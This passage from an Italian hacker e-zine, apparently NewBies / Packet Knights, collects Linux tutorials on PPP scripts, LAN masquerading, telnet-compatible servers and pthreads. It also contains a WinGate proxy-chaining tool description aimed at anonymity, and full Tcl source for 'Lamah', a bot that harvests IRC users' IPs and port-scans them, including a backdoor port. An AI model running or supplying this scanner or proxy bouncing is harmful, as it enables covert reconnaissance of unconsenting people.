' user devilnet -d & -------------------SCUT------------------- il killall pppd server a killare altri processi residui del pppd. sostituite all'800XXXXXX in numero del vostro greenz... ehmm provider... :) dove dice user devilnet, sostituite il devilnet con l'username ke avete specificato nel file /etc/ppp/pap-secrets !!fate attenzione a lasciare la stringa del pppd tutta su 1 linea sola!! salvate, uscite e settiamo i permessi con il chmod [root@DeVVo /bin]# chmod 777 nomedelloscript FINEEEEEEE vi catto qui di seguito alcuni scriptini ke ho creato x tener connesso il vostro pc 24su24 tramite gree..uffff mi sbaglio sempre ... tramite flat ... Non credo ci sia bisogno di commentare + di tanto ... ... spero ... il DeVVo vi saluta ... alla prossima raga . . . la mia mail la sapete ... e se non la sapete... ---->> devilnet@devilnetrulez.com <<----- Script di connessione+test da inserire tra gli rc in modo da startare in modo automatico la connessione all'avvio del "server": ------------------CUT------------------------ #!/bin/bash DEVICE=ppp0 killall kppp clear echo "" echo ">>> DeViLNeT <<< . . . C0nn3cting . . ." pppd connect '/usr/sbin/chat -v "" ATDT800XXXXXX CONNECT "" ' user & #X UNA CONNESSIONE ISDN 8 SEC SONO SUFFICIENTI #SE UTILIZZATE UN NORMALE MODEM AUMETATE GLI SLEEP echo -n 8.. && sleep 1 echo -n 7.. && sleep 1 echo -n 6.. && sleep 1 echo -n 5.. && sleep 1 echo -n 4.. && sleep 1 echo -n 3.. && sleep 1 echo -n 2.. && sleep 1 echo -n 1.. && sleep 1 echo "" echo "--> TeSting CoNNection . . ." if [ ! -f "/var/run/$DEVICE.pid" ] then echo "****************************" echo "OPS . . ." echo ". . . Not CoNn3cted :( . . ." echo "****************************" echo "" exit else echo "*****************************" echo "D0n3 . . ." echo ". . . ppp0 Conn3cted :) . . ." echo "*****************************" echo "" fi -------------------SCUT------------------------- Controllo della connessione e avvio del pppd in caso non sia connesso (da abbinare al cron in modo tale ke venga effettuato il controllo ogni tot di minuti): ----------------------CUT----------------------- #!/bin/bash #INSERIRE NEL CRON QUESTA STRINGA X IL CONTROLLO DELLA CONNESSIONE #OGNI MINUTO: #* * * * * /bin/nomediquestoscript 1>/dev/null 2>/dev/null DEVICE=ppp0 devconf=`cat /etc/dcppp0` if [ $devconf != "1" ] then exit fi clear echo "--> TeSting CoNNection . . ." if [ ! -f "/var/run/$DEVICE.pid" ] then #inserire al posto di /bin/conn qui in basso l'indirizzo dello script di #connessione /bin/conn else echo "OKY . . ." fi -------------------SCUT--------------------------- x questo script necessario creare il file /etc/dcppp0 e scriverci dentro "1". E' stato fatto in modo tale ke se si vuole disattivare l'opzione di controllo ogni minuto non necessario togliere la stringa dal cron o disabilitarlo ma basta un semplice echo "0" >/etc/dcppp0 ed un echo "1" >/etc/dcppp0 <--- x abilitarlo Alcune connessioni tramite flat vengono disconnesse automaticamente se non utilizzate x alcuni minuti. X evitare ci possibile creare uno scriptino abbinato al cron ke pinghi automaticamente un server esterno. Questo non ve lo scrivo ... sarebbe troppo !!! DeVVo **********PICCOLO SERVER X PICCOLA RETE*********** Quanti picc avete a casa voi ?? io 3, io 8, io 12 ... uhmmm sono connessi in rete ?? cosa ne pensate di mettere su un serverino linuxino ?? Mat3riale necessario: - 2 o + picc ... ObV|ouS - 2 o + sk di rete <-- come pensavate di connetterli ??? - 1 hub <-- x sk di rete RJ45 - cavi RJ45/coassiali vari - 1 cd con la vostra distro linux preferita - 1 po' di tempo Prima di tutto scegliete quale dei vostri computer verr usato come server. Collegate ogni pc all'hub. *** Se dovete connettere in rete solo 2 pc, potete fare a - dell'hub creando semplicemente un cavo crossoverato (vedi art NB6 me pare) *** 1 - Installazione Passiamo all'installazione della nostra linux (consiglio SLakka 7) Non sapete come ?? uhm ... bel guaio ... provate a leggervi prima un po' di tut vari sull'installazione e su linux in generale, poi ritornate su questo art. Loggatevi come root ... 2 - Ricompilazione del kernel X abilitare le operazioni di masquerading e di firewalling necessario ricompilare il kernel con le seguenti opzioni. Nelle nuove distribuzioni tutto ci non neccessario in quanto queste opzioni sono supportate dai moduli preinstallati con i kernel. -> network firewalls -> ip masqueranding -> ip icmp masq -> ip firewalling -> moduli x la vostra skeda di rete 3 - Configurazione sk di rete Esistono numerose appz da console e sotto X x la configurazione delle sk di rete e varie ... ... ma noi preferiamo configurare il tutto da console manualmente con il nostro amato ifconfig .. vero ?? per prima cosa editate il file /etc/conf.modules ed inserite questa stringa: alias eth0 3c59x dove 3c59x il modulo della vostra sk di rete (io ho una 3COM pci). ora utilizzeremo if config x abbinare al nostro pc un ip. Gli ip x una rete privata posso essere di 3 classi: - compresi tra 10.0.0.0 e 10.255.255.255 - compresi tra 172.16.0.0 e 172.31.255.255 - tra 192.168.0.0 e 192.168.255.255 necessario scegliere un ip compreso tra queste classi. Se infatti configuriamo il nostro pc con un ip di un server esterno, facendo una qualsiasi rikiesta a questo server, l'ip verr interpretato come un indirizzo locale e non come l'ip di un server remoto. la stinga di inizializzazione con l'ifconfig la seguente: [root@DeVVo /]# ifconfig eth0 192.168.0.1 netmask 255.255.255.0 up dove eth0, il nome della skeda di rete nominata cos nel conf.modules, 192.168.0.1 l'ip del mio pc (consiglio di configurare 0.1 il server principale connesso all'esterno con ppp0), 255.255.255.0 la netmask della vostra rete, ed "up" l'opzione x inizializzare la skeda. X disattivarla infatti necessario usare l'opzione "down" [root@DeVVo /]# ifconfig eth0 down per testare il corretto funzionamento usiamo il comando ping [root@DeVVo /]# ping 192.168.0.1 4 - Configurazione masquerading e firewalling editate il file ip_forward nella dir /proc/sys/net/ipv4/ e modificate lo 0 in 1. potete utilizzare la seguente stringa: [root@DeVVo /]# echo "1" >/proc/sys/net/ipv4/ip_forward Per attivare il masquerading usiamo l'ipchains. Gi ke ci siamo si possono anke firewallare alcune porte x rendere + sicuro il nostro server. Ma x questo vi rimando ad altri art. x abilitare il masq sulla sottorete 192.168.0.*: [root@DeVVo /]# ipchains -A forward -s 192.168.0.0/24 -j MASQ ora non ci resta altro ke installare i moduli x il masq dei servizzi ftp ed irc: [root@DeVVo /]# modprobe ip_masq_ftp [root@DeVVo /]# modprobe ip_masq_irc Il server ora configurato ... possiamo passare ai nostri client che potranno essere winzoz, linux, mac o quello ke volte :) Ah ... ad ogni riavvio del server necessario rieseguire i suddetti comando x riattivare il masq. E' consigliabile quindi creare uno scriptino da piazzare tra gli rc. 5 - Configurazione dei client La configurazione di un winzoz una cosa ke mi da tremendamente alle sfere !! infatti ogni piccolo cambiamento ai protocolli necessita un reboot della makkina .. !! biiiiiiiilllllllllllllll! Installate la vs skeda di rete rigorosamente plug-and-play winmerd9x2K compatibile ... andate nel pannello di controllo/rete, aggiungete il protocollo TCP/IP, clikkate su propriet, impostate l'ip del pc (attenzione a non impostare un ip gi ulitizzato nella rete) quindi andate nella sezione gateway ed impostate l'ip del server (192.168.0.1), andate nella sezione DNS, aggiungete i nameserver nella casella ordine di ricerca servizi DNS. Riavviate il pc ed aprite un prompt di ms-dos. Per testare il funzionamento della skeda di rete provate ad usare il comando: C:\windomerd2kdirectory> ping 192.168.0.2 <---- indirizzo ip della makkina se tutto oky provate a pingare il server utilizzando il suo ip. Il masq sul client windows ora configurato. X un client linux tutto + semplice. Configurate la skeda di rete (vedi passo 3) quindi necessario specificare i nameserver nel file /etc/resolv.conf. Usate la seguente stringa x aggiungere i ns richiesti: [root@DeVVo /]# echo "nameserver " >>/etc/resolv.conf dove l'ip. Ora va impostata la rotta con il comando route: [root@DeVVo /]# route add default wg 192.168.0.1 <--- ip del server provate a pingare il server ed i vari client ... il gioco fatto :)) Difficile ?? Se avete una flat o volete ke il vostro pc sia sempre connesso ad internet, vi rimando all'altro art sulla connessione ppp0 da console 4 help,commenti,fuck,consigli ... linux@devilnetrulez.com alla prox... OMNI MUNDA ObV|ouS DeViLNeT :P ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ WinGate Connector 1.00 by tHE rECIdjVO http://www.pkcrew.org/ Weee all, visto che di WinGate e di socket ne abbiamo gia' parlato fin troppo, e ormai se non sapete usarli vi inseguo con una mazza chiodata a bordo di una moto velocissima, vi racconto una bella storia, che poi e' la causa che ha portato alla realizzazione del programma di cui parleremo in seguito. Tipica giornata di inizio Marzo. Sto montando un'autoradio con Paolino e Fabio sulla macchina di quest'ultimo, e gia' pregusto le scorribande di sabato sera con la musica truzza a palla e i vetri abbassati (Gg D'Ag rulezzz), quando sento un certo prurito dietro... ah, no, e' il cello che vibra :) Sara' il solito squillo... no... sara' la mamma che mi chiede quando torno a casa visto che non ci sono mai... |CyRaX| !?!?!? E che vuole? :) Pronto! <|CyRaX|> Dove cazzo eri finito per tutto questo tempo?!? Eheheh ciao Ciro :) <|CyRaX|> E' piu' di un mese che non ti fai vivo... Lo so, sono in pausa meditazione, stavo collegato almeno 12 ore al giorno e rischiavo di ammalarmi :) [...] <|CyRaX|> Senti sto fondando 1 crew. Come stai messo a programmazione in C? Ehm, uhm, err... Bella figura di merda che ho fatto con un mio amico :) Si ma a noi che ce ne frega della tua vita privata?!? Allora. allora, aspetta un attimo: 1) Abbassa il tono o ti inseguo con la mazza chiodata di cui sopra. 2) Se aspetti un attimo arrivo al dunque. Vabbe', tutto questo per dire che mi sono impegnato a imparare il C per evitare prossime figure analoghe, e sembra che almeno un po' ci sia riuscito, visto che dopo aver letto il codice |CyRaX| mi ha proposto di entrare a far parte dei Packet Knights :) L'altro motivo che mi ha spinto a scrivere questa marea di caxxate e' che non volevo fare la mia prima apparizione qui senza iniziare a farmi odiare subito da tutti, eheheh... Ora avete l'autorizzazione a distrarmi e a rubarmi la mazza, e poi iniziare a rincorrermi su un 4x4 nero con gli adesivi di Renegade sulle fiancate :) Ok, ora davvero basta con le futilita' e cominciamo a parlare di cose serie (o presunte tali ;) Il programma che trovate qui non e' semplicemente il porting del WinGate With All uscito su NewBies5 (tra l'altro scritto da |CyRaX| - ora ha imparato il C, tiene che lo precisi bene a tutti :). Ho aggiunto qualche funzionalita' interessante, e una buona dose di controlli sullo stato del bouncing. Visto che sulla teoria dei WinGate trovate piu' articoli degli aggettivi che dareste a una signora al volante che vi taglia la strada con la Panda, e il concetto base l'ho copiato dal programma di Ciro, vi indico soltanto le funzionalita' del programma, in modo che possiate testarlo e darmi magari una mail di ritorno con eventuali problemi. I file con gli address (per modificarli basta cambiare i #define) contengono le liste dei wingate da usare. Visto che il servizio offerto spesso decade a breve tempo, conviene eseguire almeno una volta al giorno il programma in modo --verify, cosi' da utilizzare una lista funzionante al 99%, o, nel caso di verify di liste molto estese, compattare prima il file per eliminare eventuali duplicati. Una nota molto importante: NON USATELO X FARE SCANNING!!! Infatti non sono stati implementati sistemi di stealth, e la connessione viene completata lasciando un'eventuale traccia nei log. Anche se spesso si consiglia di usare programmi di portscanning per trovare wingate, NON FATELO (io l'ho fatto e mi sono beccato una mail dell'ammimnistratore della classe di IP che mi chiedeva come mai qualcuno tentava di collegarsi a tutte le sue macchine sulla 23... - tempi da lamer ;), piuttosto cercate le liste delle k-line sui server IRC, ma mai IP sequenziali! L'utilizzo principale e' quello di creare una connessione *sicura* verso un determinato host, creando un datapipe tra una determinata porta della nostra macchina (ricordate che se non siete root non potete bindare porte inferiori alla 1024) e l'host remoto. Connessione di certo un po' lenta ma molto piu' sicura. La sintassi da usare e' molto semplice: -l indica la porta locate, -h l'host e -p la porta remota, con l'opzione --high-security per aumentare il numero di wingate usati da 2 a 3. Il WinGate Connector va lanciato appena prima di stabilire la connessione: potete seguirne le fasi di collegamento e buoncing, poi, se tutto va bene, il programma forkera' e andra' in background. Ora non vi rimane che collegarvi a localhost sulla porta che avrete scelto tramite -l e il datapipe anonimo sara' completato :) Come nota vi segnalo che mentre per il -v e' settato un tempo di timeout per la connessione, in modo normale no, quindi se vedete che ci impiega troppo a connettersi a un host fate un bel CTRL+C e riprovate... In ogni caso il programma controlla non solo la connessione, ma anche che appaia il prompt *WinGate>*, quindi se volete fare delle prove non potete simulare wingate con un semplice netcat :) Credo che ormai abbia detto tutto, l'unica nota del codice che non possa essere spiegata leggendo i numeri precedenti di NewBies e' l'utilizzo dei socket in O_NONBLOCK mode e la funzione select(). Ma per questo, man select e via! Ok, ok ora mi abbatto e vi lascio col codice del mio programma, fatene buon uso, mi raccomando :) E ricordate che usare dei tool senza comprenderne almeno le basi del funzionamento non vale :))) tHE rECIdjVO ------------------------------------ Member of the Packet Knights http://www.pkcrew.org/ --- Lamah v1.0 e anche ultima :) Questo programmino della minchia l'ho scritto in 15 minuti, sperandoli irrimediabilmente. Potevo guarda la televisione, dormire (ho appena fatto un TIME a |DR3DD|, uno dei miei amici/orologi su IRC: 1,00 di notte), insomma, qualsiasi cosa meglio di questo prog. Ma l'ho fatto quindi ve lo spiego: 3 FILE: 1 --> lamah.tcl l'eseguibile. Dovete dargli il permesso di esecuzione: chmod +x lamah.tcl ma sopratutto avere l'interprete TCL. 2 --> lamah.var Il file delle variabile. Qui metterete il canale, il server, il nome del programma, la porta e stop. 3 --> lamah.proc file di procedura. Nulla di ch. Non toccatelo ma dategli i permessi di esecuzione: chmod +x lamah.proc Ah! Non vi ho detto che fa! Questo prog si connette ad un canale di IRC logga tutti ed esce. Ci impiega 0,4 secondi :) Poi scanna tutti le persone su una serie di porte date: 21 23 25 79 80 113 139 12345 (POTETE AGGIUNGERNE: leggi lamah.proc) e scrive tutto su un file di nome del canale. Poi... fatevene quel che volete. Michael Bakunin bakunin@meganmail.com --- lamah.tcl #!/usr/bin/tcl ########################## # # Per ogni programma della minchia ci va un commento della minchia! # Ci ho impiegato 15 minuti per scrivere queste 50 righe di codice # quindi non ci vuole molto a capire il funzionamento! # Leggi il LEGGIMI per capire! # ########################## source lamah.var puts "Connessione in corso ..." set bot(SOCK) [socket $bot(SERVER) $bot(PORTA)] fconfigure $bot(SOCK) -buffering line -blocking 0 puts "Connessione avvenuta.\nInizializzazione in corso..." puts $bot(SOCK) "NICK $bot(NICK)" puts $bot(SOCK) "USER uzver b c :$bot(NOME)" puts "Inizializzazione effettuata.\nAspetto risposta..." puts $bot(SOCK) "join $bot(CANALE)" puts $bot(SOCK) "join $bot(CANALE)" puts $bot(SOCK) "who $bot(CANALE)" set ilfile [open "$bot(CANALE).log" w] puts $ilfile "Lamah v1.0 by Michael Bakunin" puts $ilfile "" puts $ilfile "----------------------------------------------------" close $ilfile fileevent $bot(SOCK) readable { if [eof $bot(SOCK)] {catch {close $bot(SOCK)}; return} gets $bot(SOCK) line regexp {^(:([^ ]+) +)?([^ ]+) *(.*)$} $line tutto no1 src cmd argomenti switch $cmd { "352" { regexp {([^ ]+) ([^ ]+) ([^ ]+) ([^ ]+) ([^ ]+) ([^ ]+) (.*)$} $argomenti tutto io canale nome ip server nick altro exec lamah.proc $nick $ip $canale & } "315" { puts $bot(SOCK) "QUIT :$bot(QUIT)" exit } } } vwait events --- lamah.proc #!/usr/bin/tcl ########################## # # Per ogni programma della minchia ci va un commento della minchia! # Ci ho impiegato 15 minuti per scrivere queste 50 righe di codice # quindi non ci vuole molto a capire il funzionamento! # Leggi il LEGGIMI per capire! # ########################## source lamah.var if {"$argc"!=3} { puts "Errore di utilizzo\n" exit } else { regexp {([^ ]+) ([^ ]+) ([^ ]+)} $argv tutto nick ip file #################################################################### # # Se volete aggiungere altre porte alla scansione, aggiungetele nella # riga sotto. Ad esempio # foreach porta {21 23 25 12345 31337} ... # #################################################################### foreach porta {21 23 25 79 80 113 139 12345} { catch { if {[string compare [socket $ip $porta] "sock"] !="-1"} { set ilfile [open "$file.log" a] if {[string length $nick]<8} { puts $ilfile "$nick $porta $ip" close $ilfile } else { puts $ilfile "$nick $porta $ip" close $ilfile } } } } } --- lamah.var ########################## # # Per ogni programma della minchia ci va un commento della minchia! # Ci ho impiegato 15 minuti per scrivere queste 50 righe di codice # quindi non ci vuole molto a capire il funzionamento! # Leggi il LEGGIMI per capire! # # PS: non ho fatto alcun tipo di controlli per quanto riguarda # il server, il nick e le altre cose. # Se qualcosa non funziona, ricontrollate le variabili # qua sotto perch come ve l'ho dato funziona. # ########################## #Mettere qui il nome del programma come se fosse una persona normale #di IRC: set bot(NOME) "NomeLamah" #Metter qui il nick set bot(NICK) "NickLamah" #Mettere qui il server set bot(SERVER) irc.server.it #La porta set bot(PORTA) 6667 #Il canale set bot(CANALE) #canale #Messaggio di uscita set bot(QUIT) "Mondo crudele!!!" --- Briciole di teoria della programmazione ovvero: costruire un server unix compatibile col telnet di windows Autore: tHE rECIdjVO [PkC] http://www.pkcrew.org/ Musica: Blink 182 (...) Mangime: nulla (appena finito di pranzare) Tasso alcoolico: 0,007% (e' quasi un annooo :) Ringraziamenti: Mio zio che ha il portatileeeeeeeee (grande, cazzo :) Motto dell'estate: - Sembra talco ma non e', serve a darti l'alle-gria! Se lo mangi o lo respiri, ti da subito l'alle-gria! - (non vi e' mai passata per la mente l'idea che Pollon sniffi??? ;) -Premessa- Tutto quello che sto scrivendo e' solo frutto di un mio studio personale, e purtroppo le mie condizioni attuali non mi permettono di approfondire meglio l'argomento o documentarmi in maniera piu' precisa. E' gia' tanto che abbia trovato un computer qui, quindi accontentatevi di questo :) Vi sara' certamente capitato in molte occasioni che collegandovi con il client telnet di windows il comportamento che vi aspettate come risposta dal server (sviluppato per piattaforme unixlike) non sia proprio quello che ottenete: a partire dal backspace che non funziona (anche se a noi puo' parere di si...), fino al comportamento strano che fa pensare che il server sia impazzito, non ci riusciamo a cavare un ragno dal buco. Colpa del server? Uhm, naaa :) O meglio, non e' *colpa* di un errato comportamento del server, ma semplicemente dal suo sviluppo, durante il quale non si e' tenuto conto di quanto stupido sia il terminale telnet piu' diffuso in ambiente windows, altremodo chiamato telnet.exe. Quindi di seguito tutta la trattazione considerera' il client come telnet.exe di windows, per farci capire quello di default che trovate in qualsiasi versione del rompicapo di Gates: il problema infatti non e' nell'implementazione del tcp/ip di Windows (che gia' ha i suoi problemi :) o nella codifica delle winsock, ma, da quel che ho constatato con alcune piccole prove, solo nella programmazione del client predefinito (di cui non ho i sorci, ma credo proprio di aver individuato il problema). Il problema, semplice ma vitale, e': perche' se mi collego ad un certo server con il client di windows non funziona una mazza, mentre con quello di linux si?!?! Cerchiamo di dare una soluzione razionale al problema, partendo da zero e ponendoci delle domande fondamentali: 1) Perche' non riesco a trovare una ragazza carina che stia con me? 2) Perche' quando la trovo non mi va piu' e inizio a cercarne un'altra? 3) Perche' non passero' mai gli esami a settembre? 4) Perche'... -AZZ- Scusate mi sono confuso con la mia biografia... :) Dai, seriamente. Se il server e' lo stesso, fatto bene o male che sia, la differenza di comportamento da parte dei due client puo' portarci a una sola conclusione: i client non sono programmati in modo uguale. Staniamo le differenze. Per fare cio' ci creiamo un semplice server sotto linux, programmato su misura per analizzare il problema. Vediamolo: --- cat badserver.c --- #define PORT 10000 #include #include #include #include int main(void); int main() { int ssock, csock, clen; struct sockaddr_in saddr, caddr; char buff[1024]; ssock = socket(AF_INET, SOCK_STREAM, 0); saddr.sin_family = AF_INET; saddr.sin_port = htons(PORT); saddr.sin_addr.s_addr = htonl(0); bind(ssock, &saddr, sizeof(saddr)); listen(ssock, 0); clen = sizeof(caddr); csock = accept(ssock, &caddr, &clen); while(1) { bzero(buff, 1024); recv(csock, buff, 1024, 0); printf("->%s<-\n", buff); } exit(1); } --- EOF badserver.c --- Nulla di particolare, semplicemente riscrive a video tutto quello che gli viene inviato. Ora compiliamolo e iniziamo a fare delle prove [recidjvo@pkcrew.org ~]$ telnet localhost 10000 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. ciao E sul termilane dove abbiamo lanciato il programma apparira': ->ciao<- facciamo ora la prova collegandoci da una macchina con windows C:\>telnet lbox 10000 ciao Output del server: ->c<- ->i<- ->ao<- Uhm?!?! Roprovando e riprovando, si giunge alla conclusione: il telnet di windows non aspetta un ritorno di riga (\r o \n) per inviare i dati, ma invia carattere per carattere i dati che gli vengono scritti sul terminale. Ecco perche' non possiamo usare il backspace! Infatti i caratteri che vorremmo cancellare non sono ancora nel nostro buffer di lettura, ma sono gia arrivati al server! Mannaggia... Ma fosse solo questo il problema... Mai capitato che vi colleghiate a dei server, magari un po' artigianali, che implementano un loro protocollo? Mettiamo che ci sia il comando QUIT che serve per chiudere la connessione, e vediamo come un programmatore unix che non sia a conoscienza di questo problema possa aver strutturato la porzione del suo programma che si occupa di gestire il protocollo: [...] bzero(buff, 4096); recv(csock, buff, 4096, 0); if(strncasecmp(buff, "QUIT", 4) == 0) { close(csock); exit(1); } [...] Beh, sembrerebbe tutto corretto... fidatevi, se vi collegate con un client linux tutto ok, col telnet di windows non funzionera' mai. Infatti appena premete la 'Q' di 'QUIT' il client manda il buffer al server, che lo legge con la recv(); ovviamente il confronto tra 'Q' e 'QUIT' non va a buon fine e l'if non viene eseguito. Il buffer successivo, conterra' probabilmente 'UIT', che fara' fallire ancora il controllo... in parole semplici non potrete mai dare con sicurezza un comando superiore a un carattere singolo. Come facciamo allora?!?! Eheheh, la risposta piu' carina sarebbe: non usate mai windows, se proprio dovete installate un client diverso come TeraTerm, e se siete sviluppatori unix fregatevene altamente della compatibilita', che muoiano i windowsiani :) Ovvio che non si puo'. Le possibilita' per risolvere questo *inconveniente* possono essere varie, sia da lato client che da lato server. Vediamo come prevenire questo problema nel caso volessimo sviluppare un server unix che permetta anche agli utenti windows di muoversi agevolmente senza impazzire, come del resto fanno la grande maggioranza dei server professionali diffusi nell'ambiente. Bene, mettiamoci quindi all'opera per *catturare* la pressione del tasto invio da parte dell'utente e non semplicemente analizzando il buffer che arriva (sarebbe troppo facile, e qualcuno non vuole cio'...): al posto della semplice recv() e strcmp() mettiamo allora un controllo se il buffer arrivato contiene un \r\n (usiamo solo il \r visto che e' il primo, e nel caso di un client linux a volte l'unico). --- cat goodserver.c --- #define PORT 10000 #include #include #include #include int main(void); int main() { int ssock, csock, clen, i, j; struct sockaddr_in saddr, caddr; char buff[1024], buff2[4096]; ssock = socket(AF_INET, SOCK_STREAM, 0); saddr.sin_family = AF_INET; saddr.sin_port = htons(PORT); saddr.sin_addr.s_addr = htonl(0); bind(ssock, &saddr, sizeof(saddr)); listen(ssock, 0); clen = sizeof(caddr); csock = accept(ssock, &caddr, &clen); while(1) { bzero(buff2, 4096); j = 0; do { bzero(buff, 1024); recv(csock, buff, 1024, 0); i = 0; while((buff[i] != '\r') && (buff[i] != '\0')) { buff2[j++] = buff[i++]; } } while(!strchr(buff, '\r')); printf("->%s<-\n", buff2); } exit(1); } --- EOF goodserver.c --- Questo esempio riceve dati in un buffer, ma lo elabora solamente nel momento in cui viene trovato un ritorno di riga (\r), ricostruendo in questo modo la stringa che e' stata scritta prima della pressione del tasto invio, emulando il comportamento che caratterizza il client telnet unixlike. Ora anche col nostro telnet.exe ci sara' possibile accedere alle caratteristiche del server, e non saremo costretti a inventare qualcosa per patchare il problema dal lato client, come ad esempio scrivere un bouncer locale che immagazzini l'uotput fino al ritorno di riga oppure riscriverci in client stesso... Sarebbe un buon esercizio, comunque :) In ogni modo, se state sviluppando un server e il progetto comprende anche che una parte dell'utenza sia Windows, non rinunciate alla compatibilita' con uno dei sistemi piu' diffusi in giro, ma aggiungete poche righe di codice al fine di rendere possibile una convivenza e di accrescere la fama che permette a linux di vantarsi davanti a tutti :) Buon lavoro e buone vacanze. tHE rECIdjVO ۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ PThreaD TutoriaL : se pensate ke non vi servano vi sbagliate... (R)ipLey / members of Packet Knights (www.pkcrew.org) email : ripley@pkcrew.org 1 INTRODUZIONE Bene bene bene bene... Uff... in questo periodo ho letto un bel po' di cose (mai abbastanza:) quindi penso sia arrivato il momento di scrivere qualcosa anch'io... altrimenti mi va in overflow il cervello (il mio impianto cerebrale e' di pochi Gigabyte :P mi dovro' fare un'espansione... hehehe... magari un Quantum Fireball 10.2... al posto del cervelletto, che ne dici netZus? cosi' liquido anche qualche ricordo spiacevole :) Quindi ho deciso di scaricare sul mio HD (e spero di occupare un paio di K anche sul vostro... :) qualcuna delle cose che ho appreso e che potrebbero tornare utili anche a voi : i thread e in special modo il loro uso sotto linux (il nostro SO preferito) mediante la libreria ``pthread''. Benissimo, ora vi chiederete : "E ke kzz ce ne facciamo dei thread? mica servono ad hackerare!!!!" Prima di tutto parlate + pulito (non voglio + sentire la parola kzz dalle vostre tastiere!!!:), seconda cosa non e' l'approccio giusto imparare una cosa solo x ``hackerare''...l'hacking dovrebbe essere uno stimolo a imparare + cose e non deve direzionare tutto il vostro (spero infinito) interesse in una sola direzione...ma dovrebbe allargare i vostri (nostri) orizzonti fino a dove non potete (possiamo) arrivare con gli okki (ke belle parole!;) Quindi non pensiate ke non vi servano, tutto serve! Ricordate ke l'arma di un hacker non sono i virus fantascientifici, dataglove e caschi virtuali ke vediamo nei film (o leggiamo nei libri, anke se io adoro Gibson :) ma e' la conoscenza! insomma...+ cose sapete e + siete "pericolosi" (non fraintendete la parola pericolosi...diciamo "potenzialmente pericolosi" :) 2 PREAMBOLO TEORICO Innanzitutto penso dovrei spiegare a tutti coloro che non lo sanno cos'e' un thread, qual'e' la loro importanza e in cosa differiscono dai processi UniX. Allora...diamo un paio di definizioni : 2.1 COS'E' UN PROCESSO Un processo e' un programma in esecuzione e comprende percio' sia il codice da eseguire che l'area dati, piu' una copia dei registri ( e in particolare del registro contatore di programma). Vi puo' aiutare immaginare ke ogni processo abbia la propria CPU "virtuale". (definizione presa dal libro "PROGETTAZIONE E SVILUPPO DEI SISTEMI OPERATIVI" del mitiko Andrew S. Tanenbaum, leggetelo...x molti versi e' illuminante) Con una organizzazione di questo tipo il nostro SO puo' eseguire + programmi contemporaneamente : questo e' quello ke si dice MultiTasking (Task sta x processo)...e ad esempio Linux e' un SO dotato di multitasking... windoze...un po' - :). In realta' la CPU non esegue i processi (Task) contemporaneamente ma swappa da uno all'altro al verificarsi di determinate situazioni ke non vi sto qui a spiegare... ... ...e va bene, va bene swappa ad esempio nel caso in cui il quanto (la frazione) di tempo assegnato a quel processo e' scaduto oppure quando il processo ha bisogno di una risorsa ke in quel momento e' okkupata e non puo' continuare la sua esecuzione. Chiaro no? la CPU esegue tutti i task per una frazione (MOLTO frazione :) di secondo creando l'illusione che i task siano eseguiti contemporaneamente Swappando da un task ad un altro il SO si deve pero' preokkupare di salvare tutte quelle informazioni ke gli permetteranno in futuro di poter ricominciare ad eseguire quel task proprio dalla situazione in cui lo aveva lasciato! Inoltre quando noi (ad esempio) usiamo in un nostro programma in c la chiamata di sistema "fork()" viene creato un nuovo processo, detto figlio, che sara' in tutto e per tutto uguale al padre...ma che non ne condivide le risorse. Quindi ad esempio la variabile 'a' del processo padre non e' propriamente la variabile 'a' del processo figlio... per essere + chiari bisogna dire ke la variabile 'a' del processo figlio avra' inizialmente lo stesso valore della variabile 'a' del processo padre al momento del fork, ma modificandola nel processo figlio non si avra' lo stesso effetto sulla corrispondente variabile del processo padre. Di konseguenza si capisce ke la CPU con la chiamata "fork()" non solo alloca lo spazio per il nuovo processo ma copia anke l'intero kontenuto del processo padre (sia l'area dati ke l'area codice) nello spazio appena allocato... penso di aver reso + o - l'idea della pesantezza di tale operazione, ke, anke se a volte e' necessaria, puo' essere evitata con l'uso dei thread. 2.2 COS'E' UN THREAD I thread sono anke detti "processi leggeri" e questa definizione kalza davvero a pennello!!! I thread, pur essendo eseguiti alternativamente + o - come viene fatto kon i processi, differiskono nell'area codice ma mantengono in comune l'area dati. Kome in ogni kosa ci sono i lati positivi e quelli negativi. Positivo e' il fatto ke la CPU (o meglio il kernel del nostro SO) perde meno tempo in allocazioni e copie di aree di memoria, quindi creare nel nostro programma 30 thread risultera' meno pesante ke creare 30 processi (e qui tutti in coro : <> :) Negativo (in un certo senso) e' il fatto ke l'area dati e' completamente in comune, in quanto e' facile, se non ci si organizza, il verificarsi di incongruenze (tipo +thread ke accedono "contemporaneamente" (si fa x dire :) alla stessa variabile modificandone il valore e rendendo impossibile prevedere a quale risultato porteranno) Sono cmq problemi ke si posso risolvere! E IO sono qui x questo!!! HAHAHAHAHA! Un thread in fondo non e' altro ke un contatore di programma, uno stack (per il passaggio di parametri, allocazione di variabili locali etc.) e un set di registri. Un'altra precisazione e' necessaria prima di passare alla parte pratika di questo tut : l'introduzione dei thread non elimina o sostituisce l'uso dei processi (kome invece pare abbia pensato il nostro "caro" Bill, hahahahaha! frecciatina velenosa :) ma konvivono tranquillamente. In questo kaso possiamo pensare ad un processo "tradizionale" kome avente un solo thread... nessuno ci vieta di usare strane kombianzioni dei due metodi ... fate attenzione xo', riskiate di perdere il kontrollo della vostra "creatura" :) L'uso di + thread x processo e' detto MultiThreading... un sistema MultiThreading puo' essere ad esempio winDomino... ma anke linuzzo (ke xo' e' anke MultiTasking! ;) 2.3 NON SOTTOVALUTIAMO LA PRATIKA Dopo esserci fatti un quadro della situazione (se non avete kapito un kzz dalla mia spiegazione non vi biasimo, nella sezione bibliografika vi segnalero' qualke testo + affidabile :P ) passiamo alla realizzazione di qualke programmino di esempio ke ci aiuteranno a saldare sulla nostra korteccia cerebrale quello "ke ci era sembrato di kapire" teorikamente. Per l'utilizzo dei thread sotto linux ci sono, naturalmente, + librerie. Quella ke andremo ad utilizzare e' la libreria pthread (da POSIX Thread). Non posso dire se e' la migliore come prestazione o struttura ma e' sicuramente la + utilizzata ed e' ormai presente in tutte le 